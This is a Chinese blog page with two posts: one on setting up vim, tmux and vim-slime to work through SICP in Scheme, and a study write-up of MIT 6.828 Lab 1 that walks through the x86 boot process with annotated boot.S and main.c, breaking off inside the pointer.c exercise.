最近开始阅读Structure of Interpretation of Computer Science即计算机程序的构造与解释这本书。该书中使用的是Scheme作为Lisp的方言。
在此之前华盛顿大学的《程序设计语言》这门课的PartB中,我使用的Lisp方言是Racket,配合DrRacket作为IDE使用。因为最近一直在配置vim,这一次打算使用vim作为主力开发环境。

如果你对我的配置文件(vim,tmux等)感兴趣,可以看这里

效果

最终的效果如下图所示:

思路

最初的思路来自于网上的一篇文章,作者也是正在阅读SICP这本书,其提到了使用tmux进行分屏,在一边使用vim进行代码的编辑,另一边运行mit-scheme作为REPL(Read-Eval-Print-Loop)解释scheme代码。

但是如果这么做的话,需要反复执行mit-scheme < source.scm,这样做显然不能提高我们编程的效率。

这几天逛友链博客的时候发现刚好Kyler也在读SICP并且配置了vim环境,具体可以参考这篇博客
受到这篇博客的启发,我决定使用vim-slime来“沟通”vim和tmux,将vim中的Scheme代码发送到运行在tmux中的解释器,并且运行给出结果。

在学习tmux的过程中我接触到了tmuxinator这个tmux配置管理工具。可以通过tmuxinator直接配置tmux session,十分方便。

要求

这篇博客的配置依赖于:

  1. vim(文本编辑器)
  2. tmux和tmuxinator(终端会话工具)
  3. mit-scheme(Scheme解释器)

实现

首先在家目录下的.tmuxinator子文件夹下创建新的配置文件scheme.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# tmuxinator configuration file for scheme
# location: ~/.tmuxinator/scheme.yml

name: scheme
root: .

startup_window: main
socket_name: tmux_scheme

windows:
- main:
layout: even-horizontal
panes:
- vim <%= @args[0] %>
- mit-scheme

该配置文件指定新的scheme session拥有一个窗口main,该窗口有两个窗格,一个执行vim,另一个执行mit-scheme,并且创建的session的socket name为tmux_scheme。

然后我们在.vimrc中安装并配置vim-slime插件。
这里我直接使用插件管理器Vundle安装vim-slime:

1
Bundle 'jpalardy/vim-slime'

然后在.vimrc中加入配置:

1
2
3
4
5
6
7
8
9
" vim-slime configuration
" 设置目标为tmux
let g:slime_target = "tmux"
" 为tmux设置默认配置,指定socket_name为tmux_scheme,目标窗格为当前窗口的第2个窗格
let g:slime_default_config = {"socket_name": "tmux_scheme", "target_pane":":.1"}
" 指定slime在第一次发送代码时不要询问配置
let g:slime_dont_ask_default = 1
" 指定作为缓冲区的文件(该文件默认在执行完后不会被清空或者删除)
let g:slime_paste_file = "$HOME/.slime_paste"

vim-slime的默认快捷键是 (两次Ctrl-C)发送代码; v(Ctrl-C + v)修改配置。

最后编写测试文件test.scm,执行tmuxinator start scheme test.scm,在vim中按下两次Ctrl-C。应该能实现和上文效果图一样的效果。

其他

本篇博客只是给出了大概的环境配置的思路以及一些具体的配置文件。
如果想要深度地定制属于自己的Scheme开发环境,你可能还需要阅读vim、vim-slime、tmux、tmuxinator的文档与网上的教程。
配置的方式也不仅仅局限于tmux,gnu-screen、vim-terminal等同样能作为vim-slime连接的目标。
配置的环境也不必仅仅局限于Scheme,python、sml等解释型语言均可使用。

评论和共享

本学期开设了操作系统的专业课。根据老师的介绍,下个学期的操作系统课设就是MIT的6.828的Labs,再加上团队老学长/同学的推荐,打算先在这个学期完成6.828,加深对于系统的理解。
Lab1 - Booting a PC是比较简单的实验,主要包括了引导、内核、控制台输出、以及栈。尽管如此,由于相关知识的缺失,我断断续续做了2周(2017年10月26日)才完成该实验。
2017年12月9日,完成了实验的提高部分并写完了报告。

实验准备

首先需要完成实验环境的搭建。实验环境主要由两个部分组成:QEMU用来模拟运行内核,以及一条编译工具链用于编译和测试内核。这里我使用的系统是64位的ArchLinux。

本部分可以参考MIT 6.828官网的Tools

编译工具链

编译工具链包含了C编译器、汇编器、连接器,用于从源代码生成可执行二进制文件。本实验的目标代码是32位的Intel架构(x86),可执行文件格式为ELF。

在Arch Linux下,若是在安装时选择了base-devel包组,则gcc应该是系统自带的编译工具链。但是,该gcc默认不能编译生成32位的可执行文件。需要手动开启multilib并安装gcc-multilib以及相关的软件包。

GCC版本降级说明

在我和华田的Arch下,使用gcc 7.1.1-3之后的版本编译生成的JOS kernel均无法使用。在无法查明原因的情况下,推荐将gcc降级至7.1.1-3完成6.828的实验。

有关于Arch下软件包降级的教程请看这里

在后续的实验中,为了使得编译JOS内核的工具链不和系统工具链冲突以及为了保证系统工具链的最新,尝试了手动编译32位的gcc 4.6.1作为JOS专用的交叉编译工具链,并使用modules来管理环境变量,具体可以参考这里

Qemu模拟器

QEMU是一个现代并且快速的PC模拟器,但是为了与实验兼容,MIT推荐使用他们patched过的QEMU版本。需要按照Tools上的教程从源码编译并安装QEMU。

注意:提供的QEMU并不支持make uninstall,需要手动卸载QEMU。如果您对于手动编译并安装可能存在的后果抱有顾虑,推荐使用包管理软件安装QEMU,或是修改编译前缀,不要将编译好的qemu安装到/usr/local/

问题

  1. 所需要的库名可以在arch官网上通过搜索软件包的方式找到;
  2. configure的时候加上–disable-werror以保证不会因出现编译警告而终止编译;
  3. 出现如下错误:

    1
    2
    3
    4
    5
    Unescaped left brace in regex is illegal here in regex; marked by <-- HERE
    in m/^\@strong{ <-- HERE (.*)}$/ at /home/guest/qemu/scripts/texi2pod.pl
    line 320.

    make: *** [Makefile:474:qemu.1] 错误 255。

    该错误是由于perl版本更新后正则表达式语法的变动造成的,直接修改安装脚本的/home/chenzhihao/qemu/scripts/texi2pod.pl line 320,将{改成 \{即可;

  4. configure时可能需要指定python版本为2以避免调用python3出现错误,参数为--python=/usr/bin/python2.7

实验介绍

实验1总共分为3个部分:

  • 第1部分主要关注x86汇编语言、QEMU x86模拟器以及PC的上电启动流程;
  • 第2部分主要关注6.828内核的引导程序;
  • 第3部分开始挖掘6.828内核的最初模板 - JOS。

实验使用Git进行版本管理,需要从MIT的Git克隆最开始的仓库,有关这一部分的具体说明请自行参考Lab1实验讲义

有关于Git的教程推荐廖雪峰的官方博客或者是Pro Git 2

实验过程

第一部分 PC Bootstrap - PC引导

x86汇编

练习1:
本实验需要熟悉x86汇编。

8086汇编已经在王爽的《汇编语言》以及学院的汇编语言课程中学习过,x86_64汇编也已经在《深入理解计算机系统》中有所涉猎。本实验中使用的是i386汇编。这里不再赘述。

模拟x86

在本实验中使用QEMU作为模拟器。尽管QEMU内置的监控只能提供少量的调试支持,但是QEMU却可以作为GNU-Debugging(GDB)的远程调试目标。

根据实验指导使用make编译生成内核并且用make qemu或者是make qemu-nox启动QEMU。可以看到,当前的内核仅支持两条命令help和kerninfo。

PC的物理地址空间

PC的物理地址空间有着如下的布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
+------------------+  <- 0xFFFFFFFF (4GB)
| 32-bit |
| memory mapped |
| devices |
| |
/\/\/\/\/\/\/\/\/\/\

/\/\/\/\/\/\/\/\/\/\
| |
| Unused |
| |
+------------------+ <- depends on amount of RAM
| |
| |
| Extended Memory |
| |
| |
+------------------+ <- 0x00100000 (1MB)
| BIOS ROM |
+------------------+ <- 0x000F0000 (960KB)
| 16-bit devices, |
| expansion ROMs |
+------------------+ <- 0x000C0000 (768KB)
| VGA Display |
+------------------+ <- 0x000A0000 (640KB)
| |
| Low Memory |
| |
+------------------+ <- 0x00000000

最初的PC基于Intel的16位8088处理器,仅能够支持2^20B = 2^10KB = 1MB的寻址,早期的地址空间从0x00000开始到0xFFFFF结束。

  • 0x00000到0xA0000(640KB)被称作低内存,是早期PC能用的唯一的RAM;
  • 0xA0000到0xFFFFF(384KB)被硬件保留作特殊用途如视频缓冲区或是固件,该部分最重要的区域是从0xF0000到0xFFFFF(64KB)的基本输入输出系统(BIOS)。BIOS用作执行最基本的系统初始化如激活显卡、检查内存等。在初始化完成后,BIOS从软盘、硬盘、光驱或是网络中读取操作系统,并且将机器控制权转移给操作系统。

从Intel的80286到80386,处理器能够支持16MB和4GB的地址空间。但为了后向兼容性,硬件设计者保留了低1M内存的布局。
现代PC因此在0x000A0000到0x00100000的内存中有一个“洞”,这个洞将内存分为了低内存/保留内存(Low Memory)(低640KB)以及扩展内存(Extended Memory)(其他内存)。除此以外,32位PC的地址空间的最上方,常常被BIOS保留用作32位的PCI设备。

最新的x86处理器能够支持超过4GB的物理内存,因此内存可以超过0xFFFFFFFF。因此BIOS需要预留出第二个“洞”以保证那些32位的PCI设备的地址可以被正确的映射。

由于JOS只会使用256M内存,在此假设仅PC具有32位的地址空间。

ROM BIOS

根据实验指导,进行QEMU和GDB的联合调试。会发现从上电开始,IBM PC从0x000ffff0开始执行指令。该处位于为BIOS预留的64kb的空间的顶层。此时CS = 0xf000 IP = 0xfff0。且第1条指令是一个jmp指令,跳转至CS = 0xf000 IP = 0xe05b。

这些都是早期的8088处理器的设计者设计的。这样的设计保证了BIOS总能控制机器。因为在刚上电的时候,在内存中并不存在能够执行的代码。

此处需要理解8086的分段式寻址,即通过两个16位寄存器的值构造20位地址。实际地址为CS × 16 + IP = 0xf000 × 16 + 0xfff0 = 0xffff0。

练习2:
使用gdb的si(单步调试)命令进入ROM BIOS并追踪几条指令,并猜测这些指令的作用。不需要指出指令具体的细节,只要理解BIOS一开始运行的核心思想而已。

BIOS执行的前若干条指令和作用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[f000:fff0]    0xffff0: ljmp   $0xf000,$0xe05b # 跳到一个较早的位置
[f000:e05b] 0xfe05b: cmpl $0x0,%cs:0x6ac8
[f000:e062] 0xfe062: jne 0xfd2e1 # 测试cs段的0x6ac8字是否为0
[f000:e066] 0xfe066: xor %dx,%dx # 测试为0
[f000:e068] 0xfe068: mov %dx,%ss
[f000:e06a] 0xfe06a: mov $0x7000,%esp # 设置栈段寄存器和栈指针寄存器
# 栈的延伸方向和代码段延伸方向相反
[f000:e070] 0xfe070: mov $0xf34c2,%edx # 设置edx寄存器值
[f000:e076] 0xfe076: jmp 0xfd15c # 跳转
[f000:d15c] 0xfd15c: mov %eax,%ecx
[f000:d15f] 0xfd15f: cli # 关闭硬件中断
[f000:d160] 0xfd160: cld # 设置串传送指令方向
[f000:d161] 0xfd161: mov $0x8f,%eax
[f000:d167] 0xfd167: out %al,$0x70 # 关闭不可屏蔽中断
[f000:d169] 0xfd169: in $0x71,%al # 从CMOS读取选择的寄存器
[f000:d16b] 0xfd16b: in $0x92,%al # 读取系统控制端口A
[f000:d16d] 0xfd16d: or $0x2,%al
[f000:d16f] 0xfd16f: out %al,$0x92 # 通过快速A20以启动A20
[f000:d171] 0xfd171: lidtw %cs:0x6ab8 # 将cs:0x6ab8加载进入IDT表
[f000:d177] 0xfd177: lgdtw %cs:0x6a74 # 将cs:0x6a74加载进入GDT表
[f000:d17d] 0xfd17d: mov %cr0,%eax
[f000:d180] 0xfd180: or $0x1,%eax
[f000:d184] 0xfd184: mov %eax,%cr0 # 将cr0寄存器的保护模式位打开
[f000:d187] 0xfd187: ljmpl $0x8,$0xfd18f # 通过ljmp指令进入保护模式
=> 0xfd18f: mov $0x10,%eax # 设置段寄存器
=> 0xfd194: mov %eax,%ds
=> 0xfd196: mov %eax,%es
=> 0xfd198: mov %eax,%ss
=> 0xfd19a: mov %eax,%fs
=> 0xfd19c: mov %eax,%gs
=> 0xfd19e: mov %ecx,%eax
=> 0xfd1a0: jmp *%edx # 跳转

第二部分 引导

软盘和硬盘被分为了512Bytes的区域 - 扇区(Sector)。一个扇区是磁盘传输的最小粒度:每一个读操作和写操作必须是一个或是一个以上的扇区,并且必须要对齐到扇区。

如果一个磁盘是可引导的,那么它的第一个扇区就被称作引导扇区,引导代码就存储在引导扇区中。如果BIOS发现了一个可引导的硬件,那么它就将这个扇区从磁盘读取至内存的0x7c00到0x7dff处,并且使用一个jmp指令设置CS:IP = 0000:7C00,将控制传递给引导。和BIOS读取地址一样,这个地址对于PC来说是固定和标准化的。

从光盘引导的情形更加复杂,因为光盘的一个扇区为2048Byte,BIOS可以从硬盘读取一个更大的引导镜像到内存中。

在6.828中,使用硬盘的传统引导机制。这意味这引导必须满足512个Bytes的限制。引导由一个汇编文件boot/boot.S,以及一个C语言文件boot/main.c组成。

练习3:追踪boot.S和main.C,分析每一个部分的作用。


为了理解boot.S,需要以下的知识储备。

实模式和保护模式

实模式是为了与8086兼容而设置的。在实模式下,处理器相当于一个快速的8086处理器。当处理器被加电或者复位时以实模式启动。

  • 实模式下各寄存器以实模式的初始化值工作;
  • 实模式的地址空间总共为20位(1MB);
  • 实模式下不支持内存分页机制;
  • 实模式下各内存段均是可读、可写、可执行的,不支持指令优先级,所有的指令均运行在特权级;
  • 实模式不支持多任务切换;
  • 实模式的中断处理也和8086相同,使用中断向量表来定位中断服务程序。

在保护模式下,处理器的所有功能都是可用的。具体来说:

  • 保护模式提供了完全的32位地址空间,寻址空间为4GB;
  • 保护模式支持内存分页机制,提供了对虚拟内存的硬件支持;
  • 保护模式的处理器支持多任务(上下文切换);
  • 保护模式的处理器支持指令和数据的特权级,配合边界检查等机制,既可以共享数据也可以隔离各个任务。

为了保证后向兼容性,x86的处理器启动时默认是实模式,需要手动从实模式切换至保护模式。但是切换至保护模式之前需要做一些必要的准备工作,如打开A20和建立全局描述符表等。

A20地址线

在早期的PC上处理器仅支持20位的地址空间,任何超过20位的地址都会被卷回。
例如:0xFFFF+0xFFFF = 0x1FFFE -> 0xFFFE

然而,从80286开始,Intel支持了24位的地址空间,上例的地址相加将不会发生卷回。
为了保证与早期PC的完全兼容,Intel采用了“黑魔法” - 将A20(第21根)地址线与键盘控制器的一个输出进行了与运算。进而控制A20地址线的值。

默认情况下,A20是置0的,PC将只能访问1M、3M、5M…这样的奇数段。进入保护模式前需要先打开A20以获得完全的寻址能力。

JOS内核通过端口的方式与键盘控制器进行通信并打开A20。可以参考Reference中的PS/2 Keyboard Interface

  • 8042有一个1 Byte的输入缓冲区,一个1 Byte的输出缓冲区、一个1 Byte的状态寄存器、以及一个1 Byte的控制寄存器。前三个寄存器可以直接从0x60和0x64端口进行访问。最后一个寄存器通过“Read Command Byte”命令进行读,通过“Write Command Byte”命令进行写。
  • 对0x60端口读会读输入缓冲区;对0x60端口写会写输出缓冲区;对0x64端口读会读状态寄存器;对0x64端口写会发送命令。
  • 状态寄存器的Bit1为IBF - Input Buffer Full,当该Bit为1时,输入缓冲区满,不能对0x60端口或0x64端口写。
  • 对0x64端口写0xd1发送的命令是“Write Output Port”写输出端口,表明将参数写入输出端口(0x60端口写)。
  • A20使用的是键盘控制器输出的Bit 1,向输出端口写入0xdf可以打开A20;向输出端口写入0xdd则会关闭A20。

分段机制与全局描述符表

x86处理器提供了分段机制和分页机制两种内存管理模式。如果要进入保护模式,就必须要先启动分段机制。(分页机制不是必须的)

分段机制将内存划分为若干个段,每个段都由段基址、段界限和段属性组成。由一个段描述符表(可以理解为一个数组)描述所有段的信息。段描述符表可以是全局的也可以是局部的。

简化的说,程序首先将对应的段选择子(可以理解为数组的索引)加载进入段寄存器中。然后在执行程序时,根据指令的内容确定应该使用的段寄存器,根据段寄存器中的段选择子确定应该使用的段描述符。再结合段描述符中包含的信息加上指令自身的地址构造出实际的物理地址。最终将该地址发送到地址总线上,到物理内存中寻址,并取回相应的数据。这之中简化了有关特权级、边界检查的相关内容,但足以描述分段机制的基本原理。

分段机制将虚拟地址转换成了线性地址。

全局描述符表寄存器

x86处理器提供了专门的全局描述符表寄存器(Global Descriptor Table Register)用于保存全局描述符表的表基址和表限长。GDTR由2个字节的表限长(limit)和4个字节的表基址(base)组成。其中表基址指定了全局描述符表的起始地址,表限长指定了全局描述符表的大小。其C结构体描述如下:

1
2
3
4
struct gdtr {
u16 limite;
u32 base;
} __attribute__ ((packed));

在机器刚加电或者是处理器复位后,表基址默认被置为0,表限长则默认被置为0xFFFF。在保护模式初始化的过程中,必须给GDTR加载新的值。可以使用lgdt指令为GDTR加载新值。

段选择子

段选择子(2个字节)用于选择特定的描述符表以及表中的特定描述符。段选择子一般被放置于段寄存器中,段选择子由13位的索引、1位的表指示位和2位的请求特权级三部分组成。其中索引指定了描述符,表指示位选择应该访问的描述符表 - 0代表全局描述符表,1代表局部描述符表,请求特权级用于段级的保护机制,自0到4分别代表ring 0到ring 3。其C结构体描述如下:

1
2
3
4
5
struct selector {
u16 index:13;
u16 ti:1;
u16 rpl:2;
}

段描述符

段描述符(8个字节)是段描述符表这个“数组”的“元素”。用C结构体描述如下:

1
2
3
4
5
6
7
8
9
struct gdtdesc {
u16 lim0_15;
u16 base0_15;
u8 base16_23;
u8 acces;
u8 lim16_19:4;
u8 other:4;
u8 base24_31;
} __attribute__ ((packed));

其中总共包含了32位的段基址、20位的段界限、以及12位的类型。
段基址规定了段的起始地址。段界限规定了段的大小。而类型用于区别不同类型的描述符。包括描述符特权级、段存在位、已访问位等等。

boot.S代码详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <inc/mmu.h>

# Start the CPU: switch to 32-bit protected mode, jump into C.
# The BIOS loads this code from the first sector of the hard disk into
# memory at physical address 0x7c00 and starts executing in real mode
# with %cs=0 %ip=7c00.
# boot.S 主要将CPU切换至32位保护模式,并且跳转进入C代码

.set PROT_MODE_CSEG, 0x8 # kernel code segment selector
.set PROT_MODE_DSEG, 0x10 # kernel data segment selector
.set CR0_PE_ON, 0x1 # protected mode enable flag

.globl start
start: # 程序入口
.code16 # Assemble for 16-bit mode 指导生成16位汇编代码
cli # Disable interrupts 关中断
cld # String operations increment 设置串传递顺序递增

# Set up the important data segment registers (DS, ES, SS). 设置重要的段寄存器为0
xorw %ax,%ax # Segment number zero
movw %ax,%ds # -> Data Segment
movw %ax,%es # -> Extra Segment
movw %ax,%ss # -> Stack Segment

# Enable A20:
# For backwards compatibility with the earliest PCs, physical
# address line 20 is tied low, so that addresses higher than
# 1MB wrap around to zero by default. This code undoes this.
# 开启A20:
# A20的介绍已经给出,不再赘述。
seta20.1:
inb $0x64,%al # Wait for not busy 等待缓冲区可用
testb $0x2,%al # Test for bit1
# if bit1 = 1 then buffer is full
jnz seta20.1

movb $0xd1,%al # 0xd1 -> port 0x64
outb %al,$0x64 # Prepare to write output port 准备写入输出端口

seta20.2:
inb $0x64,%al # Wait for not busy 等待缓冲区可用
testb $0x2,%al
jnz seta20.2 # The same as above 同上

movb $0xdf,%al # 0xdf -> port 0x60
outb %al,$0x60 # 0xdf -> A20 gate enable command 打开A20

# Switch from real to protected mode, using a bootstrap GDT
# and segment translation that makes virtual addresses
# identical to their physical addresses, so that the
# effective memory map does not change during the switch.
lgdt gdtdesc # Load gdt size/base to gdtr 设置全局描述符表
movl %cr0, %eax # Control register 0
# bit0 is protected enable bit
# 读取控制寄存器0的值,其Bit0为允许保护模式位
orl $CR0_PE_ON, %eax # Set PE 将允许保护模式位置1
movl %eax, %cr0 # Update Control register 0 设置控制寄存器0

# Jump to next instruction, but in 32-bit code segment.
# Switches processor into 32-bit mode.
ljmp $PROT_MODE_CSEG, $protcseg # 通过ljmp指令(跳转至下一条指令)进入保护模式

.code32 # Assemble for 32-bit mode 指导生成32位汇编代码
protcseg:
# Set up the protected-mode data segment registers 设置保护模式的数据段寄存器
movw $PROT_MODE_DSEG, %ax # Our data segment selector
movw %ax, %ds # -> DS: Data Segment
movw %ax, %es # -> ES: Extra Segment
movw %ax, %fs # -> FS
movw %ax, %gs # -> GS
movw %ax, %ss # -> SS: Stack Segment

# Set up the stack pointer and call into C. 设置栈指针并且调用C
movl $start, %esp # Stack has the opposite extension direction than Code
# 注意栈的延伸方向和代码段相反
call bootmain #调用main.c中的bootmain函数

# If bootmain returns (it shouldn't), loop.
spin:
jmp spin

# Bootstrap GDT 引导GDT
.p2align 2 # force 4 byte alignment
gdt:
SEG_NULL # null seg 默认第一个段描述符为空
SEG(STA_X|STA_R, 0x0, 0xffffffff) # code seg 设置代码段描述符
SEG(STA_W, 0x0, 0xffffffff) # data seg 设置数据段描述符
# 关于SEG宏可以参考mmu.h

gdtdesc: # 用于设置全局段描述符寄存器
.word 0x17 # sizeof(gdt) - 1 # Size of gdt
.long gdt # address gdt # Base address of gdt

为了理解main.c,需要如下的知识储备。

ELF文件格式

可执行和可链接格式(Executable and Linkable Format)是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件。

ELF文件可以分为两种组成 - 链接视图(Linking View)和执行视图(Execution View)。这里只讨论执行视图。

执行视图的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+--------------------+
| ELF Header |
+--------------------+
|Program Header Table|
+--------------------+
| Segment 1 |
+--------------------+
| Segment 2 |
+--------------------+
| ... |
+--------------------+
|Section Header Table|
| optinal |
+--------------------+

ELF文件格式主要由ELF头(ELF Header)、程序头部表(Program Header Table)和节头部表(Section Header Table)组成。在执行视图中,节头部表是可选的。

有关于这些数据结构的C语言定义可以参考头文件<inc/elf.h>。

  • ELF头主要包含了ELF魔数、文件类型、程序头部表偏移和大小、程序入口等信息;
  • 程序头部表可以看做一个数据结构的数组,每一个元素都描述了一个段。主要包含了段的偏移、段的虚拟地址、段的物理地址、段的大小等信息。

磁盘控制器

磁盘是电脑主要的存储媒介。磁盘是由盘片构成的。每个盘片有两面或者称为表面,表面覆盖着磁性记录材料。盘片中央有一个可以旋转的主轴,它使得盘片以固定的旋转速率旋转,通常是5400-15000转每分钟(Revolution Per Minute)。磁盘通常包含一个或多个这样的盘片,并封装在一个密封的容器内。

每一个表面是由一组称为磁道的同心圆组成。每个磁道被划分为一组扇区。每个扇区包含相等数量的数据位(通常是512字节),这些数据编码在扇区上的磁性材料中。扇区之间由一些间隙分隔开,这些间隙中不存储数据位。间隙用来标识扇区的格式化位。

磁盘的柱面是所有盘片表面上到主轴中心距离相等的磁道的集合。

对于磁盘的寻址通常分为CHS和LBA两种。

  1. CHS即柱面(cylinder)-磁头(head)-扇区(sector)寻址。每个盘片都对应着一个磁头,每一个盘片都被划分成柱面,每一个柱面都被划分成多个段。磁盘的最小存储单元是段。早期的IBM PC架构上采用CHS进行磁盘寻址。CHS是一个三元组,包括10bit的柱面号,8bit的磁头号以及6bit的扇区号。这样CHS的最大寻址范围为2^10 × 2^8 × 2^6 × 512 = 8GB。
  2. 随着磁盘容量的不断扩大,CHS的8GB寻址范围已经不能满足需要,现在的磁盘普遍采用逻辑区块地址(Logical Block Adress)的方式进行寻址来进行抽象。LBA是一个整数,代表磁盘上的一个逻辑区块编号,通过将这个整数转换成CHS格式来完成磁盘的具体寻址。LBA为48个bit,最大寻址范围为128PB。在本实验中,LBA按照旧的规范采用28个bit。

IDE硬盘控制器(IDE Hard Drive Controller)的0x1F7端口读为磁盘0状态寄存器。
其Bit6为RDY Bit,当其置1表明磁盘上电完成。在对于磁盘做任何操作(除了复位)之前务必要保证该Bit为1。
其Bit7为BSY Bit,当其置1表明磁盘忙。在你向磁盘发送任何指令前务必保证该Bit为0。

通过IDE硬盘控制器读取扇区需要如下的步骤:

  1. 向0x1F2端口写入待操作的扇区数目;
  2. 向0x1F3-0x1F5端口依次写入LBA的低24位;
  3. 向0x1F6端口的低4位写入LBA的高4位,向0x1F6端口的高4位写入驱动器地址;
  4. 向0x1F7端口写入读命令0x20。

0x1F6寄存器又称Drive/Head寄存器。其低4位是LBA的高4位。其Bit5和Bit7一般是1。其Bit6为LBA位,当置1时表示启用LBA寻址。其Bit4为DRV位。用来选择驱动器,Master驱动器为0,Slave驱动器为1。这里将高4位置为0x1110

在使用读命令0x20之前需要完整的设置柱面/磁头/扇区。当这个命令完成,你可以从磁盘的数据寄存器(0x1F0端口)读取256个字(16Bits)。

main.c代码详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <inc/elf.h>
#include <inc/x86.h>

/**********************************************************************
* This a dirt simple boot loader, whose sole job is to boot
* an ELF kernel image from the first IDE hard disk.
*
* DISK LAYOUT
* * This program(boot.S and main.c) is the bootloader. It should
* be stored in the first sector of the disk.
*
* * The 2nd sector onward holds the kernel image.
*
* * The kernel image must be in ELF format.
*
* BOOT UP STEPS
* * when the CPU boots it loads the BIOS into memory and executes it
*
* * the BIOS intializes devices, sets of the interrupt routines, and
* reads the first sector of the boot device(e.g., hard-drive)
* into memory and jumps to it.
*
* * Assuming this boot loader is stored in the first sector of the
* hard-drive, this code takes over...
*
* * control starts in boot.S -- which sets up protected mode,
* and a stack so C code then run, then calls bootmain()
*
* * bootmain() in this file takes over, reads in the kernel and jumps to it.
**********************************************************************/

#define SECTSIZE 512
#define ELFHDR ((struct Elf *)0x10000) // scratch space

void readsect(void *, uint32_t);
void readseg(uint32_t, uint32_t, uint32_t);

void bootmain(void) {
struct Proghdr *ph, *eph;

// read 1st page off disk 从磁盘上读取第一页
readseg((uint32_t)ELFHDR, SECTSIZE * 8, 0);

// is this a valid ELF? 通过ELF魔数确认ELF有效
if (ELFHDR->e_magic != ELF_MAGIC) goto bad;

// load each program segment (ignores ph flags) 读取各个段
ph = (struct Proghdr *)((uint8_t *)ELFHDR + ELFHDR->e_phoff);
// 程序头部表的起始地址
eph = ph + ELFHDR->e_phnum; // 程序头部表的结束地址
for (; ph < eph; ph++)
// p_pa is the load address of this segment (as well
// as the physical address)
// p_pa是加载地址也是物理地址
readseg(ph->p_pa, ph->p_memsz, ph->p_offset);

// call the entry point from the ELF header 从ELF头调用程序入口
// note: does not return!
((void (*)(void))(ELFHDR->e_entry))();

bad:
// stops simulation and breaks into the debug console
outw(0x8A00, 0x8A00);
outw(0x8A00, 0x8E00);
while (1) /* do nothing */;
}

// Read 'count' bytes at 'offset' from kernel into physical address 'pa'.
// 从内核的offset处读取count个字节到物理地址pa处
// Might copy more than asked 可能会读取超过count个(扇区对齐)
void readseg(uint32_t pa, uint32_t count, uint32_t offset) {
uint32_t end_pa;

end_pa = pa + count; // 结束物理地址

// round down to sector boundary 对齐到扇区
pa &= ~(SECTSIZE - 1);

// translate from bytes to sectors, and kernel starts at sector 1
offset =
(offset / SECTSIZE) + 1; // 算出扇区数 注意扇区从1开始(0为引导扇区)

// If this is too slow, we could read lots of sectors at a time.
// We'd write more to memory than asked, but it doesn't matter --
// we load in increasing order.
// 在实际中往往将多个扇区一起读出以提高效率。
while (pa < end_pa) {
// Since we haven't enabled paging yet and we're using
// an identity segment mapping (see boot.S), we can
// use physical addresses directly. This won't be the
// case once JOS enables the MMU.
// 考虑到没有开启分页以及boot.S中使用了一一对应的映射规则,
// 加载地址和物理地址是一致的。
readsect((uint8_t *)pa, offset);
pa += SECTSIZE;
offset++;
}
}

void waitdisk(void) {
// wait for disk reaady 等待磁盘准备完毕。
while ((inb(0x1F7) & 0xC0) != 0x40) /* do nothing */;
}

void readsect(void *dst, uint32_t offset) {
// wait for disk to be ready
waitdisk();

outb(0x1F2, 1); // count = 1 0x1F2 Disk 0 sector count
// Read one sector each time
outb(0x1F3, offset); // Disk 0 sector number (CHS Mode)
// First sector's number
outb(0x1F4, offset >> 8); // Cylinder low (CHS Mode)
outb(0x1F5, offset >> 16); // Cylinder high (CHS Mode)
// Cylinder number
outb(0x1F6, (offset >> 24) | 0xE0); // Disk 0 drive/head
// MASK 11100000
// Drive/Head Register: bit 7 and bit 5 should be set to 1
// Bit6: 1 LBA mode, 0 CHS mode
outb(0x1F7, 0x20); // cmd 0x20 - read sectors
/*20H Read sector with retry. NB: 21H = read sector
without retry. For this command you have to load
the complete circus of cylinder/head/sector
first. When the command completes (DRQ goes
active) you can read 256 words (16-bits) from the
disk's data register. */

// wait for disk to be ready
waitdisk();

// read a sector
insl(0x1F0, dst, SECTSIZE / 4);
// Data register: data exchange with 8/16 bits
// insl port addr cnt: read cnt dwords from the input port
// specified by port into the supplied output array addr.
// dword: 4 bytes = 16 bits
}

练习3:

  1. 0x7c2d: ljmp $0x8, $0x7c32 从这句汇编指令之后处理器开始执行32位指令。ljmp指令导致了16位指令到32位指令的转变。
  2. 引导最后执行的指令是call *0x10018,内核的第一条指令是movw $0x1234,0x472。
  3. 内核的第一条指令位于0x10000c。
  4. 引导从程序头部表中得到段的数目以及每个段的大小,以此决定要从磁盘上读出多少个扇区。

加载内核

本部分主要需要了解.text段.rodata段和.data段,并且使用objdump读取ELF格式的信息。

boot/Makefrag文件中指定了引导的text段的位置为0x7c00。

练习4:
阅读并学习关于C语言指针的知识。下载pointer.c,编译运行并确保理解它。

pointer.c的代码和解释如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>

void f(void) {
int a[4]; // 含有4个元素的整形数组
int *b =
malloc(16); // 分配16个字节的内存,并且用一个整形指针指向内存首地址
int *c; // 一个悬挂的整形指针
int i; // 一个整形数

printf("1: a = %p, b = %p, c = %p\n", a, b, c);
// 打印a和b和c的地址,分别为0xff9bebcc, 0x566fc160和0xf7ede1e8

c = a;
// 令c指向数组a的首地址
for (i = 0; i < 4; i++) a[i] = 100 + i; // 为a[0]到a[3]分配100-103
c[0] = 200; // 将c[0]也就是a[0]改为200
